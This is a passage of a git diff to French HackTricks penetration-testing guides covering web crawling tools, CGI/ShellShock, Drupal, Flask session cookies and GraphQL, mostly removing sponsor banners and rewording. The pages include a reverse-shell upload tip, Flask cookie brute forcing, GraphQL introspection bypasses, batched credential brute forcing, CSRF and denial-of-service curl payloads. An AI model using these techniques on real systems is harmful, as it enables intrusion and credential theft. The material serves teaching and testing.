utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives à partir de fichiers laids (minifiés). - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassembler des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils. @@ -231,11 +223,11 @@ Lancez une sorte de **spider** à l'intérieur du web. L'objectif du spider est - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : Cet outil est utilisé pour découvrir des points de terminaison pour une cible donnée. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Découvrir des liens à partir de la machine Wayback (téléchargeant également les réponses dans le Wayback et cherchant plus de liens). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go) : Explorer (même en remplissant des formulaires) et trouver également des informations sensibles en utilisant des regex spécifiques. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider de sécurité web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite) : Spider Suite est un crawler/spider web GUI multi-fonction avancé conçu pour les professionnels de la cybersécurité. - [**jsluice**](https://github.com/BishopFox/jsluice) (go) : C'est un package Go et un [outil en ligne de commande](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) pour extraire des URL, des chemins, des secrets et d'autres données intéressantes à partir du code source JavaScript. - [**ParaForge**](https://github.com/Anof-cyber/ParaForge) : ParaForge est une simple **extension Burp Suite** pour **extraire les paramètres et les points de terminaison** de la requête afin de créer une liste de mots personnalisée pour le fuzzing et l'énumération. - [**katana**](https://github.com/projectdiscovery/katana) (go) : Outil génial pour cela. -- [**Crawley**](https://github.com/s0rg/crawley) (go) : Imprime chaque lien qu'il est capable de trouver. +- [**Crawley**](https://github.com/s0rg/crawley) (go) : Imprimer chaque lien qu'il est capable de trouver. ### Brute Force des répertoires et fichiers @@ -250,7 +242,7 @@ Outils : - [**ffuf** ](https://github.com/ffuf/ffuf)- Rapide : `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` - [**uro**](https://github.com/s0md3v/uro) (python) : Ce n'est pas un spider mais un outil qui, étant donné la liste des URL trouvées, supprimera les URL "dupliquées". - [**Scavenger**](https://github.com/0xDexter0us/Scavenger) : Extension Burp pour créer une liste de répertoires à partir de l'historique Burp de différentes pages. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Supprime les URL avec des fonctionnalités dupliquées (basées sur les imports JS). +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor) : Supprimer les URL avec des fonctionnalités dupliquées (basées sur les imports js). - [**Chamaleon**](https://github.com/iustin24/chameleon) : Il utilise wapalyzer pour détecter les technologies utilisées et sélectionner les listes de mots à utiliser. **Dictionnaires recommandés :** @@ -258,7 +250,7 @@ Outils : - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt) - [**Dictionnaire inclus de Dirsearch**](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt) - [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10) -- [Listes de mots Assetnote](https://wordlists.assetnote.io) +- [Assetnote wordlists](https://wordlists.assetnote.io) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content) - raft-large-directories-lowercase.txt - directory-list-2.3-medium.txt @@ -276,7 +268,7 @@ _Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-f ### Que vérifier sur chaque fichier trouvé -- [**Vérificateur de liens brisés**](https://github.com/stevenvachon/broken-link-checker) : Trouver des liens brisés à l'intérieur des HTML qui peuvent être sujets à des prises de contrôle. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker) : Trouver des liens brisés à l'intérieur des HTML qui peuvent être sujets à des prises de contrôle. - **Sauvegardes de fichiers** : Une fois que vous avez trouvé tous les fichiers, recherchez des sauvegardes de tous les fichiers exécutables ("_.php_", "_.aspx_"...). Les variations courantes pour nommer une sauvegarde sont : _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp et file.old._ Vous pouvez également utiliser l'outil [**bfac**](https://github.com/mazen160/bfac) **ou** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** - **Découvrir de nouveaux paramètres** : Vous pouvez utiliser des outils comme [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **et** [**Param Miner**](https://github.com/PortSwigger/param-miner) **pour découvrir des paramètres cachés. Si vous le pouvez, vous pourriez essayer de rechercher** des paramètres cachés sur chaque fichier web exécutable. - _Arjun toutes les listes de mots par défaut :_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) @@ -284,7 +276,7 @@ _Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-f - _Assetnote “parameters_top_1m” :_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt” :_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Commentaires :** Vérifiez les commentaires de tous les fichiers, vous pouvez trouver **des identifiants** ou **des fonctionnalités cachées**. -- Si vous jouez à un **CTF**, un "truc" "commun" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **cacher des informations** dans un commentaire au **bas** de la page web. +- Si vous jouez à un **CTF**, un "truc" "commun" est de **cacher** **des informations** à l'intérieur des commentaires à la **droite** de la **page** (en utilisant **des centaines** d'**espaces** pour que vous ne voyiez pas les données si vous ouvrez le code source avec le navigateur). Une autre possibilité est d'utiliser **plusieurs nouvelles lignes** et **cacher des informations** dans un commentaire en bas de la page web. - **Clés API** : Si vous **trouvez une clé API**, il existe un guide qui indique comment utiliser les clés API de différentes plateformes : [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird). - Clés API Google : Si vous trouvez une clé API ressemblant à **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik, vous pouvez utiliser le projet [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) pour vérifier quelles API la clé peut accéder. - **S3 Buckets** : Lors du spidering, vérifiez si un **sous-domaine** ou un **lien** est lié à un **bucket S3**. Dans ce cas, [**vérifiez** les **permissions** du bucket](buckets/). @@ -295,7 +287,7 @@ _Remarque : chaque fois qu'un nouveau répertoire est découvert lors du brute-f **Fichiers intéressants** -- Recherchez des **liens** vers d'autres fichiers à l'intérieur des **fichiers CSS**. +- Recherchez des **liens** vers d'autres fichiers à l'intérieur des fichiers **CSS**. - [Si vous trouvez un fichier _**.git**_, certaines informations peuvent être extraites](git.md). - Si vous trouvez un _**.env**_, des informations telles que des clés API, des mots de passe de bases de données et d'autres informations peuvent être trouvées. - Si vous trouvez des **points de terminaison API**, vous [devez également les tester](web-api-pentesting.md). Ce ne sont pas des fichiers, mais ils "ressembleront probablement" à eux. @@ -321,7 +313,7 @@ Si une page **répond** avec ce **code**, c'est probablement un **proxy mal conf **Authentification NTLM - Divulgation d'informations** Si le serveur en cours d'exécution demande une authentification est **Windows** ou si vous trouvez une connexion demandant vos **identifiants** (et demandant un **nom de domaine**), vous pouvez provoquer une **divulgation d'informations**.\ -**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison de la façon dont **l'authentification NTLM fonctionne**, le serveur répondra avec des informations internes (version IIS, version Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\ +**Envoyez** l'**en-tête** : `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` et en raison de la façon dont fonctionne l'**authentification NTLM**, le serveur répondra avec des informations internes (version IIS, version Windows...) à l'intérieur de l'en-tête "WWW-Authenticate".\ Vous pouvez **automatiser** cela en utilisant le **plugin nmap** "_http-ntlm-info.nse_". **Redirection HTTP (CTF)** @@ -346,14 +338,6 @@ Trouvez plus d'infos sur les vulnérabilités web dans : Vous pouvez utiliser des outils tels que [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) pour surveiller les pages pour des modifications qui pourraient insérer des vulnérabilités. -
- -**Obtenez la perspective d'un hacker sur vos applications web, votre réseau et votre cloud** - -**Trouvez et signalez des vulnérabilités critiques et exploitables avec un impact commercial réel.** Utilisez nos 20+ outils personnalisés pour cartographier la surface d'attaque, trouver des problèmes de sécurité qui vous permettent d'escalader les privilèges, et utilisez des exploits automatisés pour collecter des preuves essentielles, transformant votre travail acharné en rapports convaincants. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - ### Commandes Automatiques HackTricks ``` Protocol_Name: Web #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index bf7df30ce..990106d83 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -1,15 +1,8 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours en auto-apprentissage et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} - # Information -Les **scripts CGI sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des _**.cgi**_ scripts, vous pouvez **télécharger un reverse shell perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner **les permissions d'exécution** \(`chmod +x`\) et **accéder** au reverse shell **depuis le navigateur web** pour l'exécuter. -Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\) +Les **scripts CGI sont des scripts perl**, donc, si vous avez compromis un serveur capable d'exécuter des _**.cgi**_ scripts, vous pouvez **télécharger un shell inverse perl** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **changer l'extension** de **.pl** à **.cgi**, donner **les permissions d'exécution** \(`chmod +x`\) et **accéder** au shell inverse **depuis le navigateur web** pour l'exécuter. Pour tester les **vulnérabilités CGI**, il est recommandé d'utiliser `nikto -C all` \(et tous les plugins\) # **ShellShock** @@ -21,7 +14,7 @@ Vous pourriez **trouver** cette vulnérabilité en remarquant qu'elle utilise un ## **Test** -La plupart des tests consistent à faire écho à quelque chose et à s'attendre à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les. +La plupart des tests sont basés sur l'écho de quelque chose et s'attendent à ce que cette chaîne soit renvoyée dans la réponse web. Si vous pensez qu'une page peut être vulnérable, recherchez toutes les pages cgi et testez-les. **Nmap** ```bash @@ -72,10 +65,5 @@ curl -i --data-binary "" "http://jh2i.com:500 ``` **Plus d'infos sur la vulnérabilité et les exploits possibles :** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -
- -Approfondissez votre expertise en **Sécurité Mobile** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md index 49c95ab18..cfe49416e 100644 --- a/src/network-services-pentesting/pentesting-web/drupal/README.md +++ b/src/network-services-pentesting/pentesting-web/drupal/README.md @@ -2,9 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## Découverte @@ -85,8 +82,4 @@ find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\| ```bash mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users' ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index dd39d5957..8df10f338 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,14 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) pour créer facilement et **automatiser des flux de travail** alimentés par les **outils communautaires les plus avancés** au monde.\ -Accédez dès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} - -**Probablement si vous jouez à un CTF, une application Flask sera liée à** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** +**Probablement, si vous participez à un CTF, une application Flask sera liée à** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.** ## Cookies @@ -21,7 +14,7 @@ Décodeur de cookies Flask en ligne : [https://www.kirsle.net/wizards/flask-sess #### Manuel -Obtenez la première partie du cookie jusqu'au premier point et décodez-le en Base64. +Obtenez la première partie du cookie jusqu'au premier point et décodez-la en Base64. ```bash echo "ImhlbGxvIg" | base64 -d ``` @@ -39,7 +32,7 @@ pip3 install flask-unsign ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` -#### **Brute Force** +#### **Force brute** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` @@ -88,11 +81,4 @@ app.run(host='0.0.0.0', port=8080) ``` Pourrait permettre d'introduire quelque chose comme "@attacker.com" afin de provoquer un **SSRF**. -
- -Utilisez [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=flask) pour construire et **automatiser des flux de travail** facilement grâce aux **outils communautaires les plus avancés** au monde.\ -Obtenez l'accès aujourd'hui : - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 987774cbd..36fb01907 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -2,15 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Approfondissez votre expertise en **Mobile Security** avec 8kSec Academy. Maîtrisez la sécurité iOS et Android grâce à nos cours à votre rythme et obtenez une certification : - -{% embed url="https://academy.8ksec.io/" %} ## Introduction -GraphQL est **mis en avant** comme une **alternative efficace** à l'API REST, offrant une approche simplifiée pour interroger des données depuis le backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes à travers divers points de terminaison pour rassembler des données, GraphQL permet de récupérer toutes les informations nécessaires via une **unique requête**. Cette rationalisation **bénéficie considérablement aux développeurs** en réduisant la complexité de leurs processus de récupération de données. +GraphQL est **souligné** comme une **alternative efficace** à l'API REST, offrant une approche simplifiée pour interroger des données depuis le backend. Contrairement à REST, qui nécessite souvent de nombreuses requêtes à travers divers points de terminaison pour rassembler des données, GraphQL permet de récupérer toutes les informations nécessaires via une **unique requête**. Cette rationalisation **bénéficie considérablement aux développeurs** en réduisant la complexité de leurs processus de récupération de données. ## GraphQL et Sécurité @@ -18,7 +13,7 @@ Avec l'avènement de nouvelles technologies, y compris GraphQL, de nouvelles vul ### Attaques par Brute Force de Répertoire et GraphQL -Pour identifier les instances GraphQL exposées, il est recommandé d'inclure des chemins spécifiques dans les attaques par brute force de répertoire. Ces chemins sont : +Pour identifier les instances GraphQL exposées, l'inclusion de chemins spécifiques dans les attaques par brute force de répertoire est recommandée. Ces chemins sont : - `/graphql` - `/graphiql` @@ -29,13 +24,13 @@ Pour identifier les instances GraphQL exposées, il est recommandé d'inclure de - `/graphql/api` - `/graphql/graphql` -Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes qu'un schéma prend en charge. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : [**GraphQL : un langage de requête pour les APIs.**](https://graphql.org/learn/introspection/) +Identifier les instances GraphQL ouvertes permet d'examiner les requêtes prises en charge. Cela est crucial pour comprendre les données accessibles via le point de terminaison. Le système d'introspection de GraphQL facilite cela en détaillant les requêtes qu'un schéma prend en charge. Pour plus d'informations à ce sujet, consultez la documentation GraphQL sur l'introspection : [**GraphQL : Un langage de requête pour les APIs.**](https://graphql.org/learn/introspection/) ### Empreinte L'outil [**graphw00f**](https://github.com/dolevf/graphw00f) est capable de détecter quel moteur GraphQL est utilisé sur un serveur et imprime ensuite des informations utiles pour l'auditeur de sécurité. -#### Requêtes universelles +#### Requêtes Universelles Pour vérifier si une URL est un service GraphQL, une **requête universelle**, `query{__typename}`, peut être envoyée. Si la réponse inclut `{"data": {"__typename": "Query"}}`, cela confirme que l'URL héberge un point de terminaison GraphQL. Cette méthode repose sur le champ `__typename` de GraphQL, qui révèle le type de l'objet interrogé. ```javascript @@ -176,7 +171,7 @@ Si l'introspection est activée, vous pouvez utiliser [**GraphQL Voyager**](http ### Interrogation -Maintenant que nous savons quel type d'informations est enregistré dans la base de données, essayons d'**extraire quelques valeurs**. +Maintenant que nous savons quel type d'information est enregistré dans la base de données, essayons d'**extraire quelques valeurs**. Dans l'introspection, vous pouvez trouver **quel objet vous pouvez interroger directement** (car vous ne pouvez pas interroger un objet juste parce qu'il existe). Dans l'image suivante, vous pouvez voir que le "_queryType_" s'appelle "_Query_" et qu'un des champs de l'objet "_Query_" est "_flags_", qui est également un type d'objet. Par conséquent, vous pouvez interroger l'objet flag. @@ -190,7 +185,7 @@ Vous pouvez voir que les objets "_Flags_" sont composés de **name** et **value* ```javascript query={flags{name, value}} ``` -Notez que si l'**objet à interroger** est un **type** **primitif** comme **string**, comme dans l'exemple suivant +Notez que si l'**objet à interroger** est un **type** **primitif** comme **string** comme dans l'exemple suivant ![](<../../images/image (958).png>) @@ -208,11 +203,11 @@ Cependant, dans cet exemple, si vous essayez de le faire, vous obtenez cette **e ![](<../../images/image (1042).png>) On dirait que d'une manière ou d'une autre, il va rechercher en utilisant l'argument "_**uid**_" de type _**Int**_.\ -Quoi qu'il en soit, nous savions déjà que, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête a été proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +Quoi qu'il en soit, nous savions déjà que, dans la section [Basic Enumeration](graphql.md#basic-enumeration), une requête était proposée qui nous montrait toutes les informations nécessaires : `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` Si vous lisez l'image fournie lorsque j'exécute cette requête, vous verrez que "_**user**_" avait l'**arg** "_**uid**_" de type _Int_. -Donc, en effectuant un léger _**uid**_ bruteforce, j'ai découvert qu'avec _**uid**=**1**_ un nom d'utilisateur et un mot de passe ont été récupérés :\ +Donc, en effectuant un léger _**uid**_ bruteforce, j'ai découvert qu'avec _**uid**=**1**_, un nom d'utilisateur et un mot de passe ont été récupérés :\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) @@ -310,7 +305,7 @@ rating ``` **Notez comment à la fois les valeurs et le type de données sont indiqués dans la requête.** -De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leurs associations avec des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent préexister dans la base de données avant de les lier à la personne nouvellement créée. +De plus, la base de données prend en charge une opération de **mutation**, nommée `addPerson`, qui permet la création de **personnes** ainsi que leurs associations avec des **amis** et des **films** existants. Il est crucial de noter que les amis et les films doivent exister préalablement dans la base de données avant de les lier à la personne nouvellement créée. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -345,13 +340,13 @@ Comme expliqué dans [**l'une des vulnérabilités décrites dans ce rapport**]( ### Batching brute-force dans 1 requête API Cette information a été tirée de [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec des identifiants différents** pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance des taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe. +Authentification via l'API GraphQL avec **l'envoi simultané de nombreuses requêtes avec différentes identifiants** pour le vérifier. C'est une attaque par force brute classique, mais il est maintenant possible d'envoyer plus d'une paire login/mot de passe par requête HTTP grâce à la fonctionnalité de batching de GraphQL. Cette approche tromperait les applications externes de surveillance de taux en leur faisant croire que tout va bien et qu'il n'y a pas de bot de force brute essayant de deviner des mots de passe. Vous pouvez trouver ci-dessous la démonstration la plus simple d'une requête d'authentification d'application, avec **3 paires email/mot de passe différentes à la fois**. Évidemment, il est possible d'en envoyer des milliers dans une seule requête de la même manière : ![](<../../images/image (1081).png>) -Comme nous pouvons le voir sur la capture d'écran de la réponse, la première et la troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contient le bon jeton de session d'authentification. +Comme nous pouvons le voir sur la capture d'écran de la réponse, les première et troisième requêtes ont renvoyé _null_ et ont reflété les informations correspondantes dans la section _error_. La **deuxième mutation avait les données d'authentification correctes** et la réponse contient le bon jeton de session d'authentification. ![](<../../images/image (119) (1).png>) @@ -359,13 +354,13 @@ Comme nous pouvons le voir sur la capture d'écran de la réponse, la première De plus en plus de **points de terminaison graphql désactivent l'introspection**. Cependant, les erreurs que graphql renvoie lorsqu'une requête inattendue est reçue sont suffisantes pour que des outils comme [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) puissent recréer la plupart du schéma. -De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'elle voit. Elle peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +De plus, l'extension Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **observe les requêtes API GraphQL passant par Burp** et **construit** un **schéma** GraphQL interne avec chaque nouvelle requête qu'il voit. Il peut également exposer le schéma pour GraphiQL et Voyager. L'extension renvoie une réponse factice lorsqu'elle reçoit une requête d'introspection. En conséquence, GraphQuail montre toutes les requêtes, arguments et champs disponibles pour une utilisation au sein de l'API. Pour plus d'infos [**vérifiez ceci**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Une belle **liste de mots** pour découvrir [**les entités GraphQL peut être trouvée ici**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Contournement des défenses d'introspection GraphQL -Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **des espaces, des nouvelles lignes et des virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans le regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses : +Pour contourner les restrictions sur les requêtes d'introspection dans les API, l'insertion d'un **caractère spécial après le mot-clé `__schema`** s'avère efficace. Cette méthode exploite les erreurs courantes des développeurs dans les motifs regex qui visent à bloquer l'introspection en se concentrant sur le mot-clé `__schema`. En ajoutant des caractères comme **espaces, nouvelles lignes et virgules**, que GraphQL ignore mais qui pourraient ne pas être pris en compte dans le regex, les restrictions peuvent être contournées. Par exemple, une requête d'introspection avec une nouvelle ligne après `__schema` peut contourner de telles défenses : ```bash # Example with newline to bypass { @@ -417,9 +412,9 @@ Si vous ne savez pas ce qu'est le CSRF, lisez la page suivante : ../../pentesting-web/csrf-cross-site-request-forgery.md {{#endref}} -Vous allez pouvoir trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.** +Là-bas, vous pourrez trouver plusieurs points de terminaison GraphQL **configurés sans tokens CSRF.** -Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST utilisant le Content-Type **`application/json`**. +Notez que les requêtes GraphQL sont généralement envoyées via des requêtes POST en utilisant le Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` @@ -427,11 +422,11 @@ Cependant, la plupart des points de terminaison GraphQL prennent également en c ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des modifications** dans le GraphQL en abusant d'un CSRF. +Par conséquent, comme les requêtes CSRF comme celles précédentes sont envoyées **sans requêtes préalables**, il est possible de **faire** **des changements** dans le GraphQL en abusant d'un CSRF. Cependant, notez que la nouvelle valeur par défaut du cookie du drapeau `samesite` de Chrome est `Lax`. Cela signifie que le cookie ne sera envoyé que depuis un site tiers dans les requêtes GET. -Notez qu'il est généralement possible d'envoyer la **requête** **de requête** également en tant que **requête GET** et que le jeton CSRF pourrait ne pas être validé dans une requête GET. +Notez qu'il est généralement possible d'envoyer la **requête** **de requête** également en tant que **requête GET** et que le token CSRF pourrait ne pas être validé dans une requête GET. De plus, en abusant d'une [**attaque XS-Search**](../../pentesting-web/xs-search/), il pourrait être possible d'exfiltrer du contenu depuis le point de terminaison GraphQL en abusant des identifiants de l'utilisateur. @@ -505,9 +500,9 @@ curl -X POST -H "Content-Type: application/json" \ ``` Pour atténuer cela, mettez en œuvre des limites de compte d'alias, une analyse de la complexité des requêtes ou un contrôle de débit pour prévenir l'abus de ressources. -### **Batching de Requêtes Basé sur des Tableaux** +### **Regroupement de Requêtes Basé sur un Tableau** -**Batching de Requêtes Basé sur des Tableaux** est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes groupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un **Denial of Service (DoS)**. S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut en tirer parti pour dégrader la disponibilité du service. +**Regroupement de Requêtes Basé sur un Tableau** est une vulnérabilité où une API GraphQL permet de regrouper plusieurs requêtes dans une seule demande, permettant à un attaquant d'envoyer un grand nombre de requêtes simultanément. Cela peut submerger le backend en exécutant toutes les requêtes regroupées en parallèle, consommant des ressources excessives (CPU, mémoire, connexions à la base de données) et pouvant potentiellement conduire à un **Denial of Service (DoS)**. S'il n'existe aucune limite sur le nombre de requêtes dans un lot, un attaquant peut exploiter cela pour dégrader la disponibilité du service. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -559,10 +554,10 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) : Tester les erreurs de configuration courantes des points de terminaison graphql - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql) : Script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et de mutations GraphQL en lot. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f) : Identifier le graphql utilisé -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas, et trouver des chemins vers un type donné. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas par brute force et 